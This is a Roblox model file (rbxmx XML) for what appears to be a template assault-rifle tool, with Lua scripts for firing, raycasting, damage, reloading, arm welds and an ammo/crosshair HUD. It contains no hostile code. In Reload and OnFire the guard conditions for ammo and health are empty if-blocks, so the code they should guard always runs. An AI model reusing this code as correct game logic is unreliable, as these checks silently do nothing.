&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;--bullet.Transparency = 1
&#9;&#9;&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;&#9;&#9;&#9;Spawn(UpdateTargetHit)
&#9;&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;end
&#9;
&#9;&#9;&#9;&#9;AmmoInClip = AmmoInClip - 1
&#9;&#9;&#9;&#9;UpdateAmmo(AmmoInClip)
&#9;&#9;&#9;end
&#9;&#9;&#9;wait(FireRate)
&#9;&#9;&#9;OnMouseUp()
&#9;&#9;end
&#9;&#9;Handle.Flash.Enabled = false
&#9;&#9;IsShooting = false
&#9;&#9;if AmmoInClip == 0 then
&#9;&#9;&#9;Handle.Tick:Play()
&#9;&#9;&#9;WeaponGui.Reload.Visible = true
&#9;&#9;end
&#9;end

local TargetHits = 0
function UpdateTargetHit()
&#9;TargetHits = TargetHits + 1
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) and WeaponGui.Crosshair:FindFirstChild(&apos;TargetHitImage&apos;) then
&#9;&#9;WeaponGui.Crosshair.TargetHitImage.Visible = true
&#9;end
&#9;wait(0.5)
&#9;TargetHits = TargetHits - 1
&#9;if TargetHits == 0 and WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) and WeaponGui.Crosshair:FindFirstChild(&apos;TargetHitImage&apos;) then
&#9;&#9;WeaponGui.Crosshair.TargetHitImage.Visible = false
&#9;end
end

function UpdateCrosshair(value, mouse)
&#9;if WeaponGui then
&#9;&#9;local absoluteY = 650
&#9;&#9;WeaponGui.Crosshair:TweenSize(
&#9;&#9;&#9;UDim2.new(0, value * absoluteY * 2 + 23, 0, value * absoluteY * 2 + 23),
&#9;&#9;&#9;Enum.EasingDirection.Out,
&#9;&#9;&#9;Enum.EasingStyle.Linear,
&#9;&#9;&#9;0.33)
&#9;end
end

function UpdateAmmo(value)
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;AmmoHud&apos;) and WeaponGui.AmmoHud:FindFirstChild(&apos;ClipAmmo&apos;) then
&#9;&#9;WeaponGui.AmmoHud.ClipAmmo.Text = AmmoInClip
&#9;&#9;if value &gt; 0 and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) and WeaponGui.Crosshair:FindFirstChild(&apos;ReloadingLabel&apos;) then
&#9;&#9;&#9;WeaponGui.Crosshair.ReloadingLabel.Visible = false
&#9;&#9;end
&#9;end
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;AmmoHud&apos;) and WeaponGui.AmmoHud:FindFirstChild(&apos;TotalAmmo&apos;) then
&#9;&#9;WeaponGui.AmmoHud.TotalAmmo.Text = SpareAmmo
&#9;end
end


function OnMouseDown()
&#9;LeftButtonDown = true
&#9;OnFire()
end

function OnMouseUp()
&#9;LeftButtonDown = false
end

function OnKeyDown(key)
&#9;if string.lower(key) == &apos;r&apos; then
&#9;&#9;Reload()
&#9;end
end


function OnEquipped(mouse)
&#9;Handle.EquipSound:Play()
&#9;FireSound  = WaitForChild(Handle, &apos;FireSound&apos;)

&#9;MyCharacter = Tool.Parent
&#9;MyPlayer = game:GetService(&apos;Players&apos;):GetPlayerFromCharacter(MyCharacter)
&#9;MyHumanoid = MyCharacter:FindFirstChild(&apos;Humanoid&apos;)
&#9;MyTorso = MyCharacter:FindFirstChild(&apos;Torso&apos;)
&#9;MyMouse = mouse
&#9;WeaponGui = WaitForChild(Tool, &apos;WeaponHud&apos;):Clone()
&#9;if WeaponGui and MyPlayer then
&#9;&#9;WeaponGui.Parent = MyPlayer.PlayerGui
&#9;&#9;UpdateAmmo(AmmoInClip)
&#9;end

&#9;if MyMouse then
&#9;&#9;-- Disable mouse icon
&#9;&#9;MyMouse.Icon = &quot;http://www.roblox.com/asset/?id=18662154&quot;
&#9;&#9;MyMouse.Button1Down:connect(OnMouseDown)
&#9;&#9;MyMouse.Button1Up:connect(OnMouseUp)
&#9;&#9;MyMouse.KeyDown:connect(OnKeyDown)
&#9;end
end


-- Unequip logic here
function OnUnequipped()
&#9;LeftButtonDown = false
&#9;Reloading = false
&#9;MyCharacter = nil
&#9;MyHumanoid = nil
&#9;MyTorso = nil
&#9;MyPlayer = nil
&#9;MyMouse = nil
&#9;if OnFireConnection then
&#9;&#9;OnFireConnection:disconnect()
&#9;end
&#9;if OnReloadConnection then
&#9;&#9;OnReloadConnection:disconnect()
&#9;end
&#9;if FlashHolder then
&#9;&#9;FlashHolder = nil
&#9;end
&#9;if WeaponGui then
&#9;&#9;WeaponGui.Parent = nil
&#9;&#9;WeaponGui = nil
&#9;end
end

local function SetReticleColor(color)
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) then
&#9;&#9;for _, line in pairs(WeaponGui.Crosshair:GetChildren()) do
&#9;&#9;&#9;if line:IsA(&apos;Frame&apos;) then
&#9;&#9;&#9;&#9;line.BorderColor3 = color
&#9;&#9;&#9;end
&#9;&#9;end
&#9;end
end


Tool.Equipped:connect(OnEquipped)
Tool.Unequipped:connect(OnUnequipped)

while true do
&#9;wait(0.033)
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) and MyMouse then
&#9;&#9;WeaponGui.Crosshair.Position = UDim2.new(0, MyMouse.X, 0, MyMouse.Y)
&#9;&#9;SetReticleColor(NeutralReticleColor)

&#9;&#9;local target = MyMouse.Target
&#9;&#9;if target and target.Parent then
&#9;&#9;&#9;local player = PlayersService:GetPlayerFromCharacter(target.Parent)
&#9;&#9;&#9;if player then
&#9;&#9;&#9;&#9;if MyPlayer.Neutral or player.TeamColor ~= MyPlayer.TeamColor then
&#9;&#9;&#9;&#9;&#9;SetReticleColor(EnemyReticleColor)
&#9;&#9;&#9;&#9;else
&#9;&#9;&#9;&#9;&#9;SetReticleColor(FriendlyReticleColor)
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;end
&#9;&#9;end
&#9;end
&#9;if Spread and not IsShooting then
&#9;&#9;local currTime = time()
&#9;&#9;if currTime - LastSpreadUpdate &gt; FireRate * 2 then
&#9;&#9;&#9;LastSpreadUpdate = currTime
&#9;&#9;&#9;Spread = math.max(MinSpread, Spread - AimInaccuracyStepAmount)
&#9;&#9;&#9;UpdateCrosshair(Spread, MyMouse)
&#9;&#9;end
&#9;end
end
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					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Reload</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>http://www.roblox.com/asset/?id=97848255</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5139">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">EquipSound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>http://www.roblox.com/asset/?id=13510737</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="PointLight" referent="RBX5140">
					<Properties>
						<float name="Brightness">1.5</float>
						<Color3 name="Color">4294967040</Color3>
						<bool name="Enabled">false</bool>
						<string name="Name">Flash</string>
						<float name="Range">8</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5141">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Tick</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds//clickfast.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
			</Item>
			<Item class="Script" referent="RBX5142">
				<Properties>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">WeldArm</string>
					<ProtectedString name="Source">Tool = script.Parent;
local arms = nil
local torso = nil
local welds = {}

function Equip(mouse)
wait(0.01)
arms = {Tool.Parent:FindFirstChild(&quot;Left Arm&quot;), Tool.Parent:FindFirstChild(&quot;Right Arm&quot;)}
torso = Tool.Parent:FindFirstChild(&quot;Torso&quot;)
if arms ~= nil and torso ~= nil then
local sh = {torso:FindFirstChild(&quot;Left Shoulder&quot;), torso:FindFirstChild(&quot;Right Shoulder&quot;)}
if sh ~= nil then
local yes = true
if yes then
yes = false
sh[1].Part1 = nil
sh[2].Part1 = nil
local weld1 = Instance.new(&quot;Weld&quot;)
weld1.Part0 = torso
weld1.Parent = torso
weld1.Part1 = arms[1]
weld1.C1 = CFrame.new(-0.5, 0.9, 0.7) * CFrame.fromEulerAnglesXYZ(math.rad(290), 0, math.rad(-90))
welds[1] = weld1
local weld2 = Instance.new(&quot;Weld&quot;)
weld2.Part0 = torso
weld2.Parent = torso
weld2.Part1 = arms[2]
weld2.C1 = CFrame.new(-1, 0.6, 0.5) * CFrame.fromEulerAnglesXYZ(math.rad(-90), math.rad(-20), 0)
welds[2] = weld2
end
else
print(&quot;sh&quot;)
end
else
print(&quot;arms&quot;)
end
end

function Unequip(mouse)
if arms ~= nil and torso ~= nil then
local sh = {torso:FindFirstChild(&quot;Left Shoulder&quot;), torso:FindFirstChild(&quot;Right Shoulder&quot;)}
if sh ~= nil then
local yes = true
if yes then
yes = false
sh[1].Part1 = arms[1]
sh[2].Part1 = arms[2]
welds[1].Parent = nil
welds[2].Parent = nil
end
else
print(&quot;sh&quot;)
end
else
print(&quot;arms&quot;)
end
end
Tool.Equipped:connect(Equip)
Tool.Unequipped:connect(Unequip)
</ProtectedString>
				</Properties>
			</Item>
			<Item class="LocalScript" referent="RBX5143">
				<Properties>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">Model29</string>
					<ProtectedString name="Source">--------------------- TEMPLATE ASSAULT RIFLE WEAPON ---------------------------
-- Waits for the child of the specified parent
local function WaitForChild(parent, childName)
&#9;while not parent:FindFirstChild(childName) do parent.ChildAdded:wait() end
&#9;return parent[childName]
end

----- MAGIC NUMBERS ABOUT THE TOOL -----
-- How much damage a bullet does
local Damage = 34
-- How many times per second the gun can fire
local FireRate = 1 / 4
-- The maximum distance the can can shoot, this value should never go above 1000
local Range = 350
-- In radians the minimum accuracy penalty
local MinSpread = 0.02
-- In radian the maximum accuracy penalty
local MaxSpread = 0.09
-- Number of bullets in a clip
local ClipSize = 6
-- DefaultValue for spare ammo
local SpareAmmo = 60
-- The amount the aim will increase or decrease by
-- decreases this number reduces the speed that recoil takes effect
local AimInaccuracyStepAmount = 0.04
-- Time it takes to reload weapon
local ReloadTime = 3
----------------------------------------

-- Colors
local FriendlyReticleColor = Color3.new(0, 1, 0)
local EnemyReticleColor&#9;= Color3.new(1, 0, 0)
local NeutralReticleColor&#9;= Color3.new(1, 1, 1)

local Spread = MinSpread
local AmmoInClip = ClipSize

local Tool = script.Parent
local Handle = WaitForChild(Tool, &apos;Handle&apos;)
local WeaponGui = nil

local LeftButtonDown
local Reloading = false
local IsShooting = false

-- Player specific convenience variables
local MyPlayer = nil
local MyCharacter = nil
local MyHumanoid = nil
local MyTorso = nil
local MyMouse = nil


local IconURL = Tool.TextureId  -- URL to the weapon icon asset

local DebrisService = game:GetService(&apos;Debris&apos;)
local PlayersService = game:GetService(&apos;Players&apos;)


local FireSound

local OnFireConnection = nil
local OnReloadConnection = nil

local DecreasedAimLastShot = false
local LastSpreadUpdate = time()

-- this is a dummy object that holds the flash made when the gun is fired
local FlashHolder = nil


local WorldToCellFunction = Workspace.Terrain.WorldToCellPreferSolid
local GetCellFunction = Workspace.Terrain.GetCell

function RayIgnoreCheck(hit, pos)
&#9;if hit then
&#9;&#9;if hit.Transparency &gt;= 1 or string.lower(hit.Name) == &quot;water&quot; or
&#9;&#9;&#9;&#9;hit.Name == &quot;Effect&quot; or hit.Name == &quot;Rocket&quot; or hit.Name == &quot;Bullet&quot; or
&#9;&#9;&#9;&#9;hit.Name == &quot;Handle&quot; or hit:IsDescendantOf(MyCharacter) then
&#9;&#9;&#9;return true
&#9;&#9;elseif hit:IsA(&apos;Terrain&apos;) and pos then
&#9;&#9;&#9;local cellPos = WorldToCellFunction(Workspace.Terrain, pos)
&#9;&#9;&#9;if cellPos then
&#9;&#9;&#9;&#9;local cellMat = GetCellFunction(Workspace.Terrain, cellPos.x, cellPos.y, cellPos.z)
&#9;&#9;&#9;&#9;if cellMat and cellMat == Enum.CellMaterial.Water then
&#9;&#9;&#9;&#9;&#9;return true
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;end
&#9;&#9;end
&#9;end
&#9;return false
end

-- @preconditions: vec should be a unit vector, and 0 &lt; rayLength &lt;= 1000
function RayCast(startPos, vec, rayLength)
&#9;local hitObject, hitPos = game.Workspace:FindPartOnRay(Ray.new(startPos + (vec * .01), vec * rayLength), Handle)
&#9;if hitObject and hitPos then
&#9;&#9;local distance = rayLength - (hitPos - startPos).magnitude
&#9;&#9;if RayIgnoreCheck(hitObject, hitPos) and distance &gt; 0 then
&#9;&#9;&#9;-- there is a chance here for potential infinite recursion
&#9;&#9;&#9;return RayCast(hitPos, vec, distance)
&#9;&#9;end
&#9;end
&#9;return hitObject, hitPos
end



function TagHumanoid(humanoid, player)
&#9;-- Add more tags here to customize what tags are available.
&#9;while humanoid:FindFirstChild(&apos;creator&apos;) do
&#9;&#9;humanoid:FindFirstChild(&apos;creator&apos;):Destroy()
&#9;end 
&#9;local creatorTag = Instance.new(&quot;ObjectValue&quot;)
&#9;creatorTag.Value = player
&#9;creatorTag.Name = &quot;creator&quot;
&#9;creatorTag.Parent = humanoid
&#9;DebrisService:AddItem(creatorTag, 1.5)

&#9;local weaponIconTag = Instance.new(&quot;StringValue&quot;)
&#9;weaponIconTag.Value = IconURL
&#9;weaponIconTag.Name = &quot;icon&quot;
&#9;weaponIconTag.Parent = creatorTag
end


local function CreateBullet(bulletPos)
&#9;local bullet = Instance.new(&apos;Part&apos;, Workspace)
&#9;bullet.FormFactor = Enum.FormFactor.Custom
&#9;bullet.Size = Vector3.new(0.1, 0.1, 0.1)
&#9;bullet.BrickColor = BrickColor.new(&quot;Black&quot;)
&#9;bullet.Shape = Enum.PartType.Block
&#9;bullet.CanCollide = false
&#9;bullet.CFrame = CFrame.new(bulletPos)
&#9;bullet.Anchored = true
&#9;bullet.TopSurface = Enum.SurfaceType.Smooth
&#9;bullet.BottomSurface = Enum.SurfaceType.Smooth
&#9;bullet.Name = &apos;Bullet&apos;
&#9;DebrisService:AddItem(bullet, 2.5)
&#9;return bullet
end

local function Reload()
&#9;if not Reloading then
&#9;&#9;Reloading = true
&#9;&#9;-- Don&apos;t reload if you are already full or have no extra ammo
&#9;&#9;if AmmoInClip ~= ClipSize and SpareAmmo &gt; 0 then
&#9;&#9;&#9;end
&#9;&#9;&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) then
&#9;&#9;&#9;&#9;if WeaponGui.Crosshair:FindFirstChild(&apos;ReloadingLabel&apos;) then
&#9;&#9;&#9;&#9;&#9;WeaponGui.Crosshair.ReloadingLabel.Visible = true
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;end
&#9;&#9;&#9;script.Parent.Handle.Reload:Play()
&#9;&#9;&#9;wait(ReloadTime)
&#9;&#9;&#9;-- Only use as much ammo as you have
&#9;&#9;&#9;local ammoToUse = math.min(ClipSize - AmmoInClip, SpareAmmo)
&#9;&#9;&#9;AmmoInClip = AmmoInClip + ammoToUse
&#9;&#9;&#9;SpareAmmo = SpareAmmo - ammoToUse
&#9;&#9;&#9;UpdateAmmo(AmmoInClip)
&#9;&#9;&#9;WeaponGui.Reload.Visible = false
&#9;&#9;end
&#9;&#9;Reloading = false
end

function OnFire()
&#9;if IsShooting then return end
&#9;if MyHumanoid and MyHumanoid.Health &gt; 0 then
&#9;&#9;end
&#9;&#9;IsShooting = true
&#9;&#9;while LeftButtonDown and AmmoInClip &gt; 0 and not Reloading do
&#9;&#9;&#9;if Spread and not DecreasedAimLastShot then
&#9;&#9;&#9;&#9;Spread = math.min(MaxSpread, Spread + AimInaccuracyStepAmount)
&#9;&#9;&#9;&#9;UpdateCrosshair(Spread)
&#9;&#9;&#9;end
&#9;&#9;&#9;DecreasedAimLastShot = not DecreasedAimLastShot
&#9;&#9;&#9;if Handle:FindFirstChild(&apos;FireSound&apos;) then
&#9;&#9;&#9;&#9;Handle.FireSound:Play()
&#9;&#9;&#9;&#9;Handle.Flash.Enabled = true
&#9;&#9;&#9;end
&#9;&#9;&#9;if MyMouse then
&#9;&#9;&#9;&#9;local targetPoint = MyMouse.Hit.p
&#9;&#9;&#9;&#9;local shootDirection = (targetPoint - Handle.Position).unit
&#9;&#9;&#9;&#9;-- Adjust the shoot direction randomly off by a little bit to account for recoil
&#9;&#9;&#9;&#9;shootDirection = CFrame.Angles((0.5 - math.random()) * 2 * Spread,
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;(0.5 - math.random()) * 2 * Spread,
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;(0.5 - math.random()) * 2 * Spread) * shootDirection
&#9;&#9;&#9;&#9;local hitObject, bulletPos = RayCast(Handle.Position, shootDirection, Range)
&#9;&#9;&#9;&#9;local bullet
&#9;&#9;&#9;&#9;-- Create a bullet here
&#9;&#9;&#9;&#9;if hitObject then
&#9;&#9;&#9;&#9;&#9;bullet = CreateBullet(bulletPos)
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;if hitObject and hitObject.Parent then
&#9;&#9;&#9;&#9;&#9;local hitHumanoid = hitObject.Parent:FindFirstChild(&quot;Humanoid&quot;)
&#9;&#9;&#9;&#9;&#9;if hitHumanoid then
&#9;&#9;&#9;&#9;&#9;&#9;local hitPlayer = game.Players:GetPlayerFromCharacter(hitHumanoid.Parent)
&#9;&#9;&#9;&#9;&#9;&#9;if MyPlayer.Neutral or (hitPlayer and hitPlayer.TeamColor ~= MyPlayer.TeamColor) then
&#9;&#9;&#9;&#9;&#9;&#9;&#9;TagHumanoid(hitHumanoid, MyPlayer)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;hitHumanoid:TakeDamage(Damage)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;if bullet then
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;bullet:Destroy()
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;bullet = nil
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;--bullet.Transparency = 1
&#9;&#9;&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;&#9;&#9;&#9;Spawn(UpdateTargetHit)
&#9;&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;end
&#9;
&#9;&#9;&#9;&#9;AmmoInClip = AmmoInClip - 1
&#9;&#9;&#9;&#9;UpdateAmmo(AmmoInClip)
&#9;&#9;&#9;end
&#9;&#9;&#9;wait(FireRate)
&#9;&#9;&#9;OnMouseUp()
&#9;&#9;end
&#9;&#9;Handle.Flash.Enabled = false
&#9;&#9;IsShooting = false
&#9;&#9;if AmmoInClip == 0 then
&#9;&#9;&#9;Handle.Tick:Play()
&#9;&#9;&#9;WeaponGui.Reload.Visible = true
&#9;&#9;end
&#9;end

local TargetHits = 0
function UpdateTargetHit()
&#9;TargetHits = TargetHits + 1
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) and WeaponGui.Crosshair:FindFirstChild(&apos;TargetHitImage&apos;) then
&#9;&#9;WeaponGui.Crosshair.TargetHitImage.Visible = true
&#9;end
&#9;wait(0.5)
&#9;TargetHits = TargetHits - 1
&#9;if TargetHits == 0 and WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) and WeaponGui.Crosshair:FindFirstChild(&apos;TargetHitImage&apos;) then
&#9;&#9;WeaponGui.Crosshair.TargetHitImage.Visible = false
&#9;end
end

function UpdateCrosshair(value, mouse)
&#9;if WeaponGui then
&#9;&#9;local absoluteY = 650
&#9;&#9;WeaponGui.Crosshair:TweenSize(
&#9;&#9;&#9;UDim2.new(0, value * absoluteY * 2 + 23, 0, value * absoluteY * 2 + 23),
&#9;&#9;&#9;Enum.EasingDirection.Out,
&#9;&#9;&#9;Enum.EasingStyle.Linear,
&#9;&#9;&#9;0.33)
&#9;end
end

function UpdateAmmo(value)
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;AmmoHud&apos;) and WeaponGui.AmmoHud:FindFirstChild(&apos;ClipAmmo&apos;) then
&#9;&#9;WeaponGui.AmmoHud.ClipAmmo.Text = AmmoInClip
&#9;&#9;if value &gt; 0 and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) and WeaponGui.Crosshair:FindFirstChild(&apos;ReloadingLabel&apos;) then
&#9;&#9;&#9;WeaponGui.Crosshair.ReloadingLabel.Visible = false
&#9;&#9;end
&#9;end
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;AmmoHud&apos;) and WeaponGui.AmmoHud:FindFirstChild(&apos;TotalAmmo&apos;) then
&#9;&#9;WeaponGui.AmmoHud.TotalAmmo.Text = SpareAmmo
&#9;end
end


function OnMouseDown()
&#9;LeftButtonDown = true
&#9;OnFire()
end

function OnMouseUp()
&#9;LeftButtonDown = false
end

function OnKeyDown(key)
&#9;if string.lower(key) == &apos;r&apos; then
&#9;&#9;Reload()
&#9;end
end


function OnEquipped(mouse)
&#9;Handle.EquipSound:Play()
&#9;FireSound  = WaitForChild(Handle, &apos;FireSound&apos;)

&#9;MyCharacter = Tool.Parent
&#9;MyPlayer = game:GetService(&apos;Players&apos;):GetPlayerFromCharacter(MyCharacter)
&#9;MyHumanoid = MyCharacter:FindFirstChild(&apos;Humanoid&apos;)
&#9;MyTorso = MyCharacter:FindFirstChild(&apos;Torso&apos;)
&#9;MyMouse = mouse
&#9;WeaponGui = WaitForChild(Tool, &apos;WeaponHud&apos;):Clone()
&#9;if WeaponGui and MyPlayer then
&#9;&#9;WeaponGui.Parent = MyPlayer.PlayerGui
&#9;&#9;UpdateAmmo(AmmoInClip)
&#9;end

&#9;if MyMouse then
&#9;&#9;-- Disable mouse icon
&#9;&#9;MyMouse.Icon = &quot;http://www.roblox.com/asset/?id=18662154&quot;
&#9;&#9;MyMouse.Button1Down:connect(OnMouseDown)
&#9;&#9;MyMouse.Button1Up:connect(OnMouseUp)
&#9;&#9;MyMouse.KeyDown:connect(OnKeyDown)
&#9;end
end


-- Unequip logic here
function OnUnequipped()
&#9;LeftButtonDown = false
&#9;Reloading = false
&#9;MyCharacter = nil
&#9;MyHumanoid = nil
&#9;MyTorso = nil
&#9;MyPlayer = nil
&#9;MyMouse = nil
&#9;if OnFireConnection then
&#9;&#9;OnFireConnection:disconnect()
&#9;end
&#9;if OnReloadConnection then
&#9;&#9;OnReloadConnection:disconnect()
&#9;end
&#9;if FlashHolder then
&#9;&#9;FlashHolder = nil
&#9;end
&#9;if WeaponGui then
&#9;&#9;WeaponGui.Parent = nil
&#9;&#9;WeaponGui = nil
&#9;end
end

local function SetReticleColor(color)
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) then
&#9;&#9;for _, line in pairs(WeaponGui.Crosshair:GetChildren()) do
&#9;&#9;&#9;if line:IsA(&apos;Frame&apos;) then
&#9;&#9;&#9;&#9;line.BorderColor3 = color
&#9;&#9;&#9;end
&#9;&#9;end
&#9;end
end


Tool.Equipped:connect(OnEquipped)
Tool.Unequipped:connect(OnUnequipped)

while true do
&#9;wait(0.033)
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) and MyMouse then
&#9;&#9;WeaponGui.Crosshair.Position = UDim2.new(0, MyMouse.X, 0, MyMouse.Y)
&#9;&#9;SetReticleColor(NeutralReticleColor)

&#9;&#9;local target = MyMouse.Target
&#9;&#9;if target and target.Parent then
&#9;&#9;&#9;local player = PlayersService:GetPlayerFromCharacter(target.Parent)
&#9;&#9;&#9;if player then
&#9;&#9;&#9;&#9;if MyPlayer.Neutral or player.TeamColor ~= MyPlayer.TeamColor then
&#9;&#9;&#9;&#9;&#9;SetReticleColor(EnemyReticleColor)
&#9;&#9;&#9;&#9;else
&#9;&#9;&#9;&#9;&#9;SetReticleColor(FriendlyReticleColor)
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;end
&#9;&#9;end
&#9;end
&#9;if Spread and not IsShooting then
&#9;&#9;local currTime = time()
&#9;&#9;if currTime - LastSpreadUpdate &gt; FireRate * 2 then
&#9;&#9;&#9;LastSpreadUpdate = currTime
&#9;&#9;&#9;Spread = math.max(MinSpread, Spread - AimInaccuracyStepAmount)
&#9;&#9;&#9;UpdateCrosshair(Spread, MyMouse)
&#9;&#9;end
&#9;end
end
</ProtectedString>
				</Properties>
			</Item>
			<Item class="ScreenGui" referent="RBX5144">
				<Properties>
					<string name="Name">WeaponHud</string>
				</Properties>
				<Item class="Frame" referent="RBX5145">
					<Properties>
						<bool name="Active">false</bool>
						<Color3 name="BackgroundColor3">4288914085</Color3>
						<float name="BackgroundTransparency">1</float>
						<Color3 name="BorderColor3">4279970357</Color3>
						<int name="BorderSizePixel">0</int>
						<bool name="ClipsDescendants">false</bool>
						<bool name="Draggable">false</bool>
						<string name="Name">AmmoHud</string>
						<UDim2 name="Position">
							<XS>1</XS>
							<XO>-265</XO>
							<YS>1</YS>
							<YO>-60</YO>
						</UDim2>
						<UDim2 name="Size">
							<XS>0</XS>
							<XO>200</XO>
							<YS>0</YS>
							<YO>50</YO>
						</UDim2>
						<token name="SizeConstraint">0</token>
						<token name="Style">2</token>
						<bool name="Visible">true</bool>
						<int name="ZIndex">1</int>
					</Properties>
					<Item class="TextLabel" referent="RBX5146">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<token name="Font">0</token>
							<token name="FontSize">7</token>
							<string name="Name">ForwardSlash</string>
							<UDim2 name="Position">
								<XS>0.5</XS>
								<XO>0</XO>
								<YS>0.5</YS>
								<YO>0</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>0</XO>
								<YS>0</YS>
								<YO>0</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<string name="Text">/</string>
							<Color3 name="TextColor3">4294967295</Color3>
							<bool name="TextScaled">false</bool>
							<Color3 name="TextStrokeColor3">4278190080</Color3>
							<float name="TextStrokeTransparency">0</float>
							<float name="TextTransparency">0</float>
							<bool name="TextWrapped">false</bool>
							<token name="TextXAlignment">2</token>
							<token name="TextYAlignment">1</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
					<Item class="TextLabel" referent="RBX5147">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<token name="Font">0</token>
							<token name="FontSize">7</token>
							<string name="Name">ClipAmmo</string>
							<UDim2 name="Position">
								<XS>0.449999988</XS>
								<XO>0</XO>
								<YS>0.5</YS>
								<YO>0</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>0</XO>
								<YS>0</YS>
								<YO>0</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<string name="Text">54</string>
							<Color3 name="TextColor3">4294967295</Color3>
							<bool name="TextScaled">false</bool>
							<Color3 name="TextStrokeColor3">4278190080</Color3>
							<float name="TextStrokeTransparency">0</float>
							<float name="TextTransparency">0</float>
							<bool name="TextWrapped">false</bool>
							<token name="TextXAlignment">1</token>
							<token name="TextYAlignment">1</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
					<Item class="TextLabel" referent="RBX5148">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<token name="Font">0</token>
							<token name="FontSize">7</token>
							<string name="Name">TotalAmmo</string>
							<UDim2 name="Position">
								<XS>0.550000012</XS>
								<XO>0</XO>
								<YS>0.5</YS>
								<YO>0</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>0</XO>
								<YS>0</YS>
								<YO>0</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<string name="Text">180</string>
							<Color3 name="TextColor3">4294967295</Color3>
							<bool name="TextScaled">false</bool>
							<Color3 name="TextStrokeColor3">4278190080</Color3>
							<float name="TextStrokeTransparency">0</float>
							<float name="TextTransparency">0</float>
							<bool name="TextWrapped">false</bool>
							<token name="TextXAlignment">0</token>
							<token name="TextYAlignment">1</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
				</Item>
				<Item class="Frame" referent="RBX5149">
					<Properties>
						<bool name="Active">false</bool>
						<Color3 name="BackgroundColor3">4278255360</Color3>
						<float name="BackgroundTransparency">1</float>
						<Color3 name="BorderColor3">4279970357</Color3>
						<int name="BorderSizePixel">0</int>
						<bool name="ClipsDescendants">false</bool>
						<bool name="Draggable">false</bool>
						<string name="Name">Crosshair</string>
						<UDim2 name="Position">
							<XS>0</XS>
							<XO>500</XO>
